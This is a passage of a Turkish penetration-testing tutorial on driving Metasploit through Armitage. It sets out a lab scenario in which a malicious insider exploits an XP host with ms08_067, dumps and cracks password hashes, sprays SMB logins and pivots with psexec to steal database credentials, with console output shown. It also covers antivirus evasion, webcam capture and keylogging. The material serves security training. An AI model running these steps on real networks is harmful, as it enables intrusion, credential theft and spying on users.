LPORT; bu deger hedefin saldirgana hangi port Uzerinden baglanacagini belirler.
Not: Bazi sistemlerin ulagabilecedi port numaralari kisittanmistir. Bu guvenlik 6nlemini
asmak igin LPORT degerinin 80, 443, 445, 139 gibi taninmis ve guvenlik duvarlari

tarafindan guvenilen portlara ayarlayabilirsiniz.

Template; Anti viris programlarini atlatmak i¢in kullanilacak tema.
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Output; Payload ¢iktisinin tarinu belirlemek igin kullanilir.

4.2.2 Payload Dinleyicisi
Kullanici tarafli saldin yonteminde ¢ok onemli bir evrede hedeften gelen baglanti
istediginin 1skalanmadan degerlendirilmesidir. Bunun igin Metasploit programi “payload
handler” imké&ni sunmaktadir. Kargl taraftan gelecek olan istekleri yonetmek icin
kullanilan bir programdir. Bu programa erismek i¢cin Armitage ara yuzunden Armitage ->
Listener -> Reverse (wait for) segenekleri takip edilir.

\_/iew Hosts Attacks Workspaces Help

New Connection A

Preferences P <

Set Target View > |P
Set Exploit Rank >
SOCKS Proxy... 102, 168.20.170

Listeners
Scripts...

Bind (connect to)
Reverse (wait for)

5_proxy

Close

Reverse (wait for)’ i tikladigimizda ekranimiza gelecek olan pencere,

Armitage View Hosts Attacks Workspaces Help

¥ (& meterpreter S Create Listener
| | bind_ipv6_tcp p
| bind_nonx_tcp * Port: 23906
"I bind_tcp
| bind_tcp_rc4 Type: shell
| find_tag
I reverse_http E L| meterpreter

‘| reverse_https
|| reverse_https_proxy

Daha oOnce belirtildigi gibi dinlemenin yapilacagi port numarasi ile oturum yonetici
program tipinin belirlenmesi dnemlidir.

5. POST EXPLOITATION

Bir sisteme, uzaktan veya kullanici tarafli bir saldiri duzenleyerek girig yapildigi
varsayilsin. Peki, simdi neler yapilabilir;
- Hak yukseltme, Bir sisteme belirli bir agiklik Uzerinden giderek giris
yapilabilir. Neyin acikhgini kullanarak giris yapildi ise o servis veya
kullanicinin haklari kullanilabilir. Ama bu servis veya kullanicinin haklari
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yapilmak istenenler igin yeterli olmayabilir. Bir igletim sisteminde veri yazma
veya okuma katmanina gelindiginde iglemi yapmak isteyen kullanici/servise
yetkilerini tanitan bir bilet (token) sorulur. Bu vize gibidir. Bagkasina ait olan
bir vize sahiplenebilir. iste, hak yiikseltme tam olarak bu manaya gelmektedir.
Hak yukseltme olayini bagkasinin biletini alarak yapmak “Token Stealing”
diye anilmaktadir.

- Dosya Goruntuleme (File Browser), Metasploit yardimi ile bir sisteme
sizildiginda dosyalari ve klasorleri kod yardimi ile yonetmek gerekir, fakat
Armitage gorsel bir yonetim ara yuzu saglar. Bu ara yuze ulagsmak igin hedef
panelinden ele gegcirilen hedefe sag tiklanir ve Meterpreter N -> Explore ->
Browse Files yolu izlenir. Erigsim yetkilerine gore dosyalar okunabilir,
indirilebilir, silinebilir. Bunun igin dosyalama ara yuzunde islem yapmak
istedigimiz dosyaya sag tiklamak yeterli olacaktir.

- Komut Satin; Bir sisteme sizma gergeklestirildiginde, o sistemi komut satiri
ile yonetebilmek icin hedefe sag tiklanip, Meterpreter -> Interact ->
Command Shell secenekleri izlenebilir. Ayni sekilde Meterpreter Shell
penceresi agilabilir.

- VNC; Armitage hedef bilgisayari uzak masaustu baglantisi ile yonetebilme
olanagi saglar.

- Ekran Alintisi ve Webcam Gozetleme; Sizilan hedef sistemden ekran
alintisi ve kamerasindan goruntuler alinabilir. Bunun igin Meterpreter N ->
Explore -> Screenshot seceneklerinin takip edilmesi yeterlidir.

Screenshoot seceneginin hemen bir altinda “Webcam Shot” secenegi ile
kamerasindan goruntu alinabilir.

- Post Exploitation Modulleri; Armitage sisteme sizildiktan sonra neler
yapilabilecedi noktasinda yardim etmektedir. ilgili secenekler post klasori
altinda bulunmaktadir.

Armitage View Hosts Attacks Workspaces Help

> [—i‘ multi
v (@ windows
» ([ capture :
» [ escalate :
> E gather 192,168, 20, 170
\SYSTEM @ BGA_XP_VUL-01

» [ manage
» (@ recon
» (& wlan
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Bu kisimdaki ilgili modullerin kullanimi forumlardan ve offensive security
sitesinden ogrenilebilir.

. SALDIRI SENARYOLARI

Armitage araci tanitilmis oldu. Simdi senaryolar ile armitage aktif olarak nasil
kullanilabilir sistemlere nasil sizilabilir ve en onemlisi Post Exploitation olarak
neler yapilabilir bunlar incelenecektir.

Senaryo: Bilgi Guvenligi Akademisi Bankasinin Veritabani Erigim
Bilgilerinin Elde Edilmesi
Senaryonun uygulanacagi internet aginin topolojisi;

4
192.168.20.152

3
192 168.20.142

Veri Tabfini Sunucusu

Laptop PT
ri tabani Yoneticisi - Fatma

\ f

- =
2950 1841'
Switcho Router0

2
192.168.20.133 U

PC-PT
IT destek - Mehmet

Laptop PT
Yeni Calisan

Senaryonun Agiklamasi;

BT destekgisi Mehmet sirketinde yapacagi denetlemeleri ve dizenlemeleri,
sirketin agina uygulamadan oOnce kendisi i¢in hazirladigr laboratuvar
ortaminda (1 numaral, Test Cihazi) test etmektedir. Mehmet'in test cihazi
guncellemelerden uzak nasil olsa Uzerinde sirkete dair bir program
calismadigi igin guvenlik onlemleri ihmal edilmistir. Mehmet’in test igin
kullandigi bilgisayar Uzerinde bulunan kullanici hesaplarindan bir tanesini
ayni zamanda kendi Dbilgisayarinda kullanmaktadir. Mehmet islerin
yogunlugundan dolayi hizli bir sekilde ulasabilme amaciyla sirket agindaki
bilgisayarlara ait varsayilan (baglangig) degerlerini masaustunde tutmaktadir.
Gegen hafta bilgisayari yenilenen Fatma (sirketin veri tabani yoneticisi) Gnem
vermedigi giris bilgilerini degistirmemistir. Fatma veri tabani sunucusuna
erigim bilgilerini, bilgisayarinin masa ustiinde tutmaktadir.
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Sirkete yeni alinan galisanin kétl niyetli oldugu varsayilsin (ki o sizsiniz ©),
Yeni ¢aliganin sisteme ne kadar zarar verebilecegi incelenecektir.

Not: Bu senaryoda amag¢ Armitage programinin kullanimina yonelik pratik bir
uygulama gergeklestirmektir.

Amag; Veri tabani sunucusu bilgilerine erismek, dolayisi ile veri tabaninda

bulunan verilere erismek, fakat once sunucu erisim bilgilerinin edinilmesi

gerekmektedir.

izlenecek Adimlar;

1- Ag1 taranacak, hangi cihazlarin ayakta oldugu ve hangi isletim
sistemlerinin kullanildigi tespit edilecek.

2- Bazi isletim sistemlerinin bilinen agikliklari bulunabilir, bu acikliklar
denenecek.

3- Sizilan bilgisayarlardan kullanicilara ait hesap 6zetleri (hash) alinacak

4- Alinan hash’ler diger sistemlerde denenecek.

5- Basaril giriglere, oturum agma denenecek ve bilgi toplanmaya c¢aligilacak.

Senaryonun Uygulanmasi

Sirkette ise baglandiginda verilen bilgisayar Kali Linux igletim sistemi ile baglatilir
(isletim sisteminin live-usb suramleri mevcuttur)
Gerekli olan servisler baglatilir;

service postgresql start

service metasploit start

armitage

Hangi agda bulunuldugu tespit edilir, IP adresine bakilarak bu bilgi edinilebilir.
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IP adresi 192.168.20.188, o zaman taranmasi gereken ag 192.168.20.0/24

olacaktir.

3- Armitage ara yuzunden faydalanarak agda hangi IP’lerin ayakta oldugu ve
hangi igletim sistemi ile galistigi tespit edilir.

Armitage

Armitage View Attacks Workspaces Help

> (& auxiliary Import Hosts
» ([ exploit Add Hosts...
> l:ﬁ payload Nmap Scan >
» [ post MSF Scans...
DNS Enumerate

Intense Scan
Intense Scan + UDP
Intense Scan, all TCP ports
Intense Scan, no ping
Ping Scan
Quick Scan
Quick Scan (0S detect)

Comprehensive

Clear Database

Quick Scan (OS detect) secildiginde, ekrana gelecek olan pencerede taranmak
istenilen ag bilgisi girilir.
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Input

9, Enter scan range (e.g., 192.168.1.0/24):
@ 192.168.20.0/24

| Cancel | | OK |

Ve sonucunun ekran alintisi;

Armitage

Armitage View Hosts Attacks Workspaces Help

> ([ auxiliary
> ([ exploit
» (& payload
> lﬁ‘ post

Tarama sonucu elde edilen hedefler boyle Ust Uste gorunur ise, hedef panelinde
sag tiklanip Layout -> Stack secgenedgi tiklanir.

Armitage
Armitage View Hosts Attacks Workspaces Help

> ([ auxiliary
> ([ exploit
» ([ payload
» (& post
Layout B Circle
2w Stack
r Y N\
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Artik hedefler bir dizi halinde gorinecektir.

il £ K A ash
e g{,“‘

3.20.148 192.168.20.202 192.168.20.133 192.168.20.204 192.168.20.117 192.168.20.116 192.168.20.170

4- Hedeflerin Uzerlerine gelerek igletim sistemlerini belirten bildirim yazisini
gorulmeye cgaligilir, aranilan sey eski bir igletim sistemi. Mesela XP.

.20.148 192.168.20.202 192.168.20.133 192.168.20.204 192.168.20.117

5- Bu isletim sisteminin IP degeri; 192.168.20.172
simdi bu hedef tiklanip, Armitage menusunden Attacks -> Find Attacks
secenekleri takip edilir.

Hosts PAMEE) Workspaces Help
e ———
Find Attacks

Hail Mary

»~

3.20.148 192.168.20.202 192.168.20.133 192.168.20.204 192.168.20.117 192.168.20.116 192.168,20.170

L

Hedefin isletim sistemi ve Service Pack degeri goz 6nune alinarak bir takim
exploitler onerilecektir. Bu arama islemi devam ederken ki ekran goruntusu.
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. : L *
s 4,_4 ) T

192.168.20.202 192.168.20.133 192.168.20.204 192.168.20.117 192.168.20.116
Progress...

Querying exploits...
unix/webapp/joomla_med...

—

Cancel

Ve tarama bittiginde ekrana bastirilacak olan bildirim penceresi.

'.’

2.168.20.117 192.168.20.116 "192.168.20.1

Attack Analysis Complete...

You will now see an 'Attack' menu attached
to each host in the Targets window.

-

6- Simdi hedefe sag tiklanip, Attack menusunden basari orani ylksek bir expoit
segilir.

Happy hunting!
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Login
Services
Scan

Host

192.168.20.204 192.168.20.117

novell

‘“ oracle
proxy
realserver
samba

A\ A Y V V VYV V VY YY Y

ms08_067_netapi
msl0_061_spoolss

netidentity xtierrpcpipe
timbuktu_plughntcommand_bof
pass the hash...

i

check exploits...

Bu exploit secildiginde ekrana bastirilacak olan pencere.
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Attack 192.168.20.170
Microsoft Server Service Relative Path Stack Corruption
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll -
through the Server Service. This module is capable of bypassing NX on some operating £ |
svstems and service packs. The correct taraet must be used to prevent the Server L
Option 4 | Value
LHOST 192.168.20.188
LPORT 14605
RHOST + 192,168.20.170
RPORT 445
SMBPIPE BROWSER
Targets: |0 => Automatic Targeting T] i

| L Use areverse connection 1

| || Show advanced options

i | Launch |

Bu exploit igin genelde bir ayarlama yapmak zorunda kalinmaz, gunku basarih bir
exploit olarak taninmaktadir. Ama her expoit icin ayni sey gecerli degildir. Bazen
dinleme portunun, bazen kullanilan payload’in degistiriimesi gerekir.

Exploit ¢alistirihir.

Basarili bir exploit sonrasi exploit i¢in agilan konsolda gorulmesi gerekenler ve
hedefin simgesindeki degisiklik.

Armitage View Hosts Attacks Workspaces Help

> (& auxiliary
» (& exploit
» (& payload
> & post

—
-
o

192.168.20.152 192.168.20.148 192.168.20.204 192.168.20.117 192.168.20.116 192.168.20.170
NT AUTHORITY\SYSTEM @ BGA_XP_VUL

Console X [ nmap X | exploit X

WEE VAP wva -\
SMBPIPE => BROWSER
msf exploit( ) > set TARGET 0
TARGET => 0
msf exploit( ) > exploit -j
[*] Exploit running as background job.
Started bind handler
Automatically detecting the target...

Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English

Selected Target: Windows XP SPO/SP1 Universal

Attempting to trigger the vulnerability...

Sending stage (769024 bytes) to 192.168.20.170

Meterpreter session 1 opened (192.168.20.188:55050 -> 192.168.20.170:14605) at 2014-06-10 12:51:26 -0400
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7- Artik hedefe sizilmig, meterpreter oturumu agiimistir. Simdi sizilan sistemden
veri toplamaya caligilacaktir.

Hedefle daha iyi etkilesim igcin meterpreter oturumu etkinlegtirilir.

Sag tik -> Meterpreter 1 -> Interact -> Meterpreter Shell

192.168.20.204 192.168.20.117 192.168.20.116 192.168.20. NENS >
NT AUTHORITY\SYSTEM @ mgeertsy >

Meterpreterl )

3
Interact il Command Shell
Ef‘P'?re Meterpreter Shell
Pivoting Desktop (VNC)
ARP Scan...

Kill

Sistem ne zamandir bosta bunu gozlenir.

—_————————————————————

-

[ Console X T nmap X T exploit X TMeterpreter 1 X]

meterpreter > idletime
User has been idle for: 2 hours 45 mins 27 secs

Guzel, yaklasik Ug saattir bir etkinlik s6z konusu degil (system kullanicisi igin)
Sistemde var olan kullanicilarin hesap bilgileri alinir.

Hedefe sag tik -> Meterpreter 1 -> Access -> Dump Hashes Isass method
(Her igletim sistemi i¢cin Dump Hashes Isass method basarn ile
sonuglanmayabilir)
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| Attack >
Login >
0 68. 20 D g ACCE
R Migrate Now!
Escalate Privileges Lifd=lz i >
Steal Token Q(plo.re g
D, D = B o 0d
Persist registry method
Pass Session wdigest

Ve kullanici hesaplarina ait 6zetlerin géruntusu

“Console XT nmap X T exploit X T Meterpreter 1 X T Meterpreter 1 X ]

eterpreter> hashdump

*] Dumping password hashes...
Administrator:500:f26fh3ae03e93ah981fe6d90b93317ch:e55167dc8dbffb096dd3208a86507902: : :
hga:1003:35achchRaffefShfaad3h4a35h51404ee : 53FQhGhh30ccc75518h3a7e3h3750hAT: :
bgaDestek:1006: f26fh3ae03e93ab9c81667e9d738c5d9:b367819c0a8ccd792cad1do34f56alfa: ::
Guest:501:aad3b435b51404eeaad3b435b51404ee: 31dbcTe0d16ae931b /3¢59d/e0cOBICO: & :

HelpAssistant: 1000:25bbe078edf6dd624e14527f17d28ddd: c593d2d7e7e45de0bd203870165b621F: : :
localadmin: 1004:921988ha001dc8e14a3bh108f3fa6ch6d: de26cce0356891a4a020e7c4957afc72: ::
mesut:1005:(cfglﬁﬁi3e7db453aad3h435h51404ee:3dhde697d71690a769204beb12283678:::
SUPPORT_388945a0: 1002:aad3b435b51404eeaad3b435b51404ee: 3409¢f89116d9e8a64047ch8621c875¢e: : :

Burada kirmizi gerceve igerisine alinan kullanici bilgileri lazim olabilir, gunku
daha kurumsal ve genel bir kullaniciya benziyor.

Not: Buradan sonra kullanici hesaplari Uzerinden ilerlemek adina birbirinden
farkh yollar mevcut,

1- Sifreleri kirllmaya calisilabilir

2- Elde edilen bilgiler, tim agdaki bilgisayarlara girmek icin kullanilabilir.

Sizilan bilgisayarda bulunan dosyalar incelenmeye baslanir.
Bunun i¢in izlenilecek yol

Hedefe sag tik -> Meterpreter 1->Explore -> Browse Files
Sonrasindaki ekran giktisi ile birlikteki alinti.

BGA Bilai Giivenligi AKADEMISI | www.baa.com.tr | bilai@baa.com.tr 38



Sizma Testlerinde ARMITAGE Kullanarak Metasploit Kullanimini Otomatiklestirme

E S =< I e i Attack
Login

102.168.20.152  192.168.20.204  192.168.20.117  192.168.20.116  192.1d
NT AUTHORITY\SYSlSterpreterl > s
Interact
o —

Browse Files
Show Processes
Log Keystrokes
av - - 1 Sscreenshot Kill
[ Console X T nmap X T exploit X T Meterpreter 1 X T Meterpreter1 X T Files 1 X] Webcam Shot

>
>
Explore >
Pivoting >
ARP Scan...

Post Modules

B | C:\WINDOWS\system32

4| Name | Size | Modifie | Mode

D 4N Si Modified Mod

& 1025 2014-05-29 09:47:21 -0400 40777 /rwxrwxrwx
& 1028 2014-05-29 09:47:21 -0400 40777 frwxrwxrwx
B 1031 2014-05-29 09:47:21 -0400 40777 /rwxrwxrwx
= 1AnA AAT A AT AR AALAT.AE AAAA AATTT lesmimsmimans

Kullanicinin masaustine gidilir (genelde sisteme ait yapilandirma dosyalari
masaustunde tutulur)
Once adres gubugundan C:\ gidilir. (C:\ yazdiktan sonra Enter tusuna basalim)

[Console XTnmap XTeproit XTMeterpreterl XTMeterpreterl XT Files 1 x]

O |

D 4| Name | Size | Modified | Mode

ﬁ 1025 2014-05-29 09:47:21 -0400 4077 7 /rWxrwxrwx
ﬁ 1028 2014-05-29 09:47:21 -0400 40777 /rwxrwxrwx
ﬁ 1031 2014-05-29 09:47:21 -0400 40777 /rWxrwxrwx
ﬁ 1033 2014-05-29 09:47:36 -0400 4077 7 /rwxrwxrwx
= 1037 2014-05-29 09:47:21 -0400 4077 7/rWxXrwxrwx

Daha sonra “C:\Documents and Settings\bga\Desktop” dizinine gegilir.
ilgi geken bir dosya olursa sag tiklanip indirilir.

[ Co;sole XT nmap X T exploit X T Meterpreter 1 X T Meterpreter 1 X T Files1 X ]

=HIBIC:\Documents and Settings\bga\Desktop

D 4| Name Size | Modified | Mode
ﬁ wordpress-3[1].6 2014-06-06 05:17:46 -0400 40777 [rwxrwxrwx
ﬁ zingiri 2014-06-06 07:18:01 -0400 40777 [rWxrwxrwx

— 2014-06-10 13:23:01 -0400 100666/rw-rw-rw-

Bu bilgisayar bos.txt

Command Prompt.Ink View 2014-05-29 10:25:50 -0400 100666/rw-rw-rw-
New Text Document.txt Download 2014-06-10 07:45:41 -0400 100666/rw-rw-rw-
Shortcut to Local Area Connection.Ink Execute 2014-06-01 04:32:37 -0400 100666/rw-rw-rw-
XAMPP Control Panel.Ink Timestomp 2014-06-02 03:10:51 -0400 100666/rw-rw-rw-

Delete

. | | Make Directory | L List Drives | | Refresh J

indirme tamamlandigindaki ekran alintisi
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Message
@ Downloading:
Bu bilgisayar bos.txt
Use View -> Downloads to see files

[ox]

indirilenlere ulagmak igin;

Armitage ﬂosts Attacks Workspaces Help

» [ auxili Console

> l:ﬁ expld Credentials
@ BB Downloads
> [ post| Jobs

Loot

Script Console

Reporting

|2.168.20.152 192.168.20.204

Dosyayi1 okumak icin dosyay ¢ift tiklamak yeterli.

[ Console X T nmap X T exploit X I Meterpreter 1 X T Meterpreter 1 X T Files1 X TDownIoads X]

host 4| name path size

192.168.20.170 Bu bilgisayar bos.txt C:/Documents and Settings/bgal...

-~

[ Console XT nmap X T exploit X T Meterpreter1 X T Meterpreter1 X T Files1 X T Downloads X T View X

#

# 192.168.20.170: Bu bilgisayar bos.txt
#

¥

Evet, dosya gergekten bosmus ©.
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8- Maalesef bu bilgisayardan kullanici hesap 6zetlerinden baska bir sey ¢ikmadi.
Sifreler kirilmaya c¢alisilir. Toplanilan kullanici bilgilerinin 6zetlerini gorintulemek
icin,

Armitage mﬂosts Attacks Workspaces Help

» (& auxili Console
- @ oo T
> (& paylq Downloads f
> (& post| Jobs
Loot
Script Console

Reporting >

192.168.20.152 192.168.20.204 192.168.20,117

Ekrana dokulen hesaplardan ise yaramayacak hesaplar kaldinlir (Sag tik ->
Delete).

Aksi takdirde kirma iglemi daha da uzun surecektir. Burada iki hesap birakilmigtir
( bga, bgaDesktek).

[ Console X T nmap X T exploit X I Meterpreter 1 X T Meterpreter 1 X T Credentials X]

user A | pass host
bga 35acbcb84ffcfS66aad3b435b51404ee:53f9b9bb39ccc75... 192.168.20.170
bgaDestek f26fb3ae03e93ab9c81667e9d738¢5d9:b367819c0a8ccd... 192.168.20.170

| Refresh || Crack Passwords || Export |

Evet simdi kirma islemine baslanabilir, kirma iglemi igin bir sifre s6zIGgu hedef
olarak verilebilir, eger verilmez ise tum sozlUkler denenecektir. Bu dizin digindaki
bagka s6zlUklerde kaynak olarak verilebilir.
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e
Crack Passwords

John the Ripper Password Cracker (Fast Mode)

This module uses John the Ripper to identify weak passwords that have been
acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The
goal of this module is to find trivial passwords in a short amount of time. To

crack complex passwords or use large wordlists, John the Ripper should be used

outside of Metasploit. This initial version just handles LM/NTLM credentials from
hashdump and uses the standard wordlist and rules.

Option 4| Value
JOHN_BASE

JOHN_PATH

Munge 0

| Show advanced options

Launch

Wordlist + ifadesine cift tiklanir.
Metasploit programinin kendine 6zel bir wordlist’i bulunmaktatir.
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F . |
Select Wordlist

Look In: | data v @) | @)@ E] e
(& android & php | mime.yml
(& cpuinfo (& post 5 vnedll.x64.dll
(& exploits (& ropdb | vnedll.x86.dll
(& ipwn (& snmp
@& java [ sounds
(& john (@ templates
& js (& wmap
(& 1ab = wordlists
=] meterpreter __| eicar.com
(& msfcrawler Y eicar.txt
[ msfpescan | emailer_config.yaml
[ passivex | isight.bundle

File Name:

Files of Type: |All Files _vJ

| Open || Cancel |

Hangi sifre listesini segcecedime karar verilemediginde bos gegcilip, moduli
calistirilabilir.
Basarili bir sifre kirma igleminden sonra alinmig ekran giktisi.

VU LU L LVUMUMLM L PUI IRV W ST B LIS SV ML 8§ L LR L ML L \Ees R s

Output: No password hashes left to crack (see FAQ)
cred_14:aA123456: f26fh3ae03e93ab9c81667e9d738c5d9:b367819c0a8ccd7

cred_13:bga:35achch84ffcf566aad3b435b51404ee:53f9bh9bb39ccc75518b3

2 password hashes cracked, 0 left

Cracked: bgaDestek:aA123456 (192.168.20.170:445)
Cracked: bga:bga (192.168.20.170:445)

Armitage

auxiliary( ) >

bgaDesktek:aA123456
bga:bga sifreler alinmigtir.
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Bundan sonra yapilacak is bu sifreler ve hesaplar ile tum aga smb_login cekip,
bu kullanici ve parolalari bagka kimler kullaniyormus tespit etmek.
9- Modul arama kismina gelip smb_login modulinu bulunur.

Armitage View Hosts Attacks Workspaces Help

¥ (& auxiliary
v (& scanner p
¥ (@ smb )
192.168.20.152
smb_login

-w

Module cift tiklanir, agilacak olan pencere,
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scanner/smb/smb_login
SMB Login Check Scanner

This module will test a SMB login on a range of machines and report successful
logins. If you have loaded a database plugin and connected to a database this
module will record successful logins and hosts so you can track your access.

- v —

Option 4 | Value |
DB_ALL_USERS 0 A
PASS_FILE +
PRESERVE_DOMAINS 1
T 0N
|RHO§TQ +
RPORT 445
SMBDomain
SMBPass + aAl23456
SMBUser + bgaDestek
STOP_ON_SUCCESS 0
THREADS 24
USER_FILE +
USERPASS_FILE + o/
VERBOSE 1 v

|| Show advanced options

Launch

Kirmizi gergeve igerisine alinan degerler atanmak zorundadir. Eger baska bir
kullanici listesi denenmek istenirse USER_FILE, baska bir sifre dosyasi
denenmek istenirse  USERPASS_FILE degerlerine dosya yolunu tanitmak
gerekiyor. Burada kullanici adi ve sifreler igin dosya verilmeyecektir.

Daha sonra RHOSTS degeri duzenlenir. Taramak igin verilecek IP degerleri;
192.168.20.133,192.168.20.152,192.168.20.142,192.168.20.204.
Bu degerleri de girdikten sonra modul ¢aligtirilir. Sonucun ekran alintisi,
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[ Console XT exploit X T scanner/smb/smb_login X ]

e P

[*] Auxiliary module running as background job

[*] 192.168.20.152:445 SMB - Starting SMB login bruteforce

[*] 192.168.20.133:445 SMB - Starting SMB login bruteforce
192.168.20,133:445 SMB - [1/3] - FAILED LOGIN (Windows 7 Ultimate 7600) bgaDestek : [STATUS_LOGON_FAILURE]
192.168.20.152:445 SMB - [1/3] - FAILED LOGIN (Windows 5.1) bgaDestek : [STATUS_LOGON_FAILURE]
192.168.20.133:445 SMB - [2/3] - FAILED LOGIN (Windows 7 Ultimate 7600) bgaDestek : bgaDestek [STATUS_LOGON

192,168.20.152:445 SMB - [2/3] - FAILED LOGIN (Windows 5.1) bgaDestek : bgaDestek [STATUS_LOGON_FAILURE]
192.168.20.152:445 SMB_- [3/31 - FATLFD 1 0GTN (Windows 5.1) haaDestek : aA123456 [STATUS_I OGON_FATI lIRF]
192,168.20.133:445 - SUCCESSFUL LOGIN (Windows 7 Ultimate 7600) bgaDestek : aA123456 [STATUS SUCCESS]
Username is case insensitive

Domain is ignored

Scanned 2 of 2 hosts (100°% complete)

Satir baginda + igareti olan taramalar olumlu sonuglandi, yani bu sistemlere giris

yapmak mumkun.

10- Simdi 192.168.20.133 sistemine metasploit psexec oturumu agmay! deneyip,
basarili olundugunda meterpreter oturumu agilmaya caligilacak. Hedefe sag
tiklayip

Login -> psexec modulu segilir.

psexec
Services I

Scan

Host

\_XP_VUL-01
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Pass the Hash
user A | pass host
bga 35acbcb84ffcfS66aa... 192.168.20.170
bga bga 192,168.20.170
bgadestek aAl23456 192,168.20.133
bgaDestek aAl23456 192,168.20.133
bgaDestek aAl23456 192.168.20.170
bgaDestek f26fb3ae03e93ab9c8... 192.168.20.170
User bgadestek
Pass aAl23456
Domain WORKGROUP

|| Check all credentials

[V} Use reverse connection

| Launch |

Kirmizi gergeve igerisine alinan degerlerin segili olduguna dikkat edilirmelidir.

Uyari: “User everse connection” segenegdini tiklanmaz ise payload olusturulur ve
kargiya gonderilir, sizin igin c¢ahgtinlir. Fakat, gelen baglanti istegini dinleyip
yorumlayacak bir modul ¢alismadigi i¢in bu istek paketleri duguralur.

Simdi modul gahigtirilir.
Girisim basarili oldugunda modul konsoluna dokulecek bildirim.

Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192,168.20.133[\svcctl] ...
Obtaining a service manager handle...

Creating a new service (ixeUyokD - "MPhVgUxFSVmmuKGXBSk")...

Closing service handle...

Opening service...

Starting the service...

Removing the service...

Closing service handle...

Deleting \ZCyStvvy.exe...

Sending stage (769024 bytes) to 192.168.20.133

Meterpreter session 5 opened (192.168.20.188:9640 -> 192,168.20.133:49164) at 2014-06-11 04:03:46 -0400

meterpreter >

Simdi sizilan bilgisayar incelenmeye baglanir. Direk olarak masa Ustune gidip
dosyalarina bakilabilir.

BGA Bilai Giivenligi AKADEMISI | www.baa.com.tr | bilai@baa.com.tr 47



Sizma Testlerinde ARMITAGE Kullanarak Metasploit Kullanimini Otomatiklestirme

[ Console X I exploit X I exploit X T Files5 X ]

l =] | C:\Users\bgaDestek\Desktop

D 4| Name Size Modified Mode
Konfigurasyon.txt 2014-06-11 02:34:07 -0400 100666/rw-rw-rw-
cmd - Shortcut.Ink 13kb 2014-06-11 03:17:01 -0400 100666/rw-rw-rw-
desktop.ini 282b 2014-06-11 03:16:43 -0400 100666/rw-rw-rw-

Konfigurasyon dosyasi indirilip incelenir.

Console X ] exploit X T exploit X T Files 5 X T\ﬁew X]

#
# 192.168.20.133: Konfigurasyon.txt
.

IP Adresi | Kullanici Adi | Parola |

--------------- R T erOR L UREY EEPPEIre]
192,168.20.204 | bgaDatabase |Datal23 |

11-Artik son hamleyi yapmanin zamani geldi. EGer veri tabani yoneticisinin
bilgisayarina sizip veri tabanina erigsim bilgilerini elde edilebilirse. Senaryo
tamamlanmis olacak.
Hedefe tiklayip menuden saldirilar aranir.
Daha sonra hedefe sag tiklayip,
Login ->psexec secenekleri takip edilir.
Eger bu menude gorinmez ise saldiri tipinin smb protokolU Uzerinden psexec
teknigi ile olacagi bilindiginden, modul arama kismindan psexec yazarak
aranabilir.

¥ (& exploit
¥ (@ windows
¥ (g local
|| current_user_psexec
¥ (@ smb

| psexec_psh v

psexec

Modlile cift tiklayip gerekli ayarlamalar yapilir.
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Attack 192.168.20.142
Microsoft Windows Authenticated User Code Execution

This module uses a valid administrator username and password (or password hash) to | *
execute an arbitrary payload. This module is similar to the "psexec" utility provided by £
Svsinternals. This module is now able to clean up after itself. The service created bv this |¥

-

Option 4 | Value
EXE::Custom <+

LHOST 192.168.20.188
LPORT 29831

RHOST + 192,168.20.142
RPORT 445

SHARE ADMIN$
SMBDomain WORKGROUP
SMBPass + bgaDatabase
SMBUser 4+ Datal?23

Targets: |0 => Automatic |¥|

|V] Use areverse connection

|| Show advanced options

| Launch |

Arttk  modul baslatilabilir. Sisteme meterpreter oturumu acildiginda
masaustune gidip kayda deger veri olup olmadigi incelenir.

Masaustinde  bulunan  sunucu  vyapilandirma  dosyasinin igerigi
goruntullendiginde,

[ Console XT exploit X T exploit X T Files 5 X T View X T exploit X T Files 6 X TView X ]

#
# 192.168.20,142: Sunucu Konfigurasyon.txt

#

192.168.20.152 FatmaData fatmal23

istenilen veriye ulagiimis oldu.
Not: Buradaki senaryo basit olarak kurgulanmig, programin yapabilecekleri

tanitilmaya calisiimigtir. Daha iyi deneyim kazanmak igin diger modullerde
kullaniimahdir.
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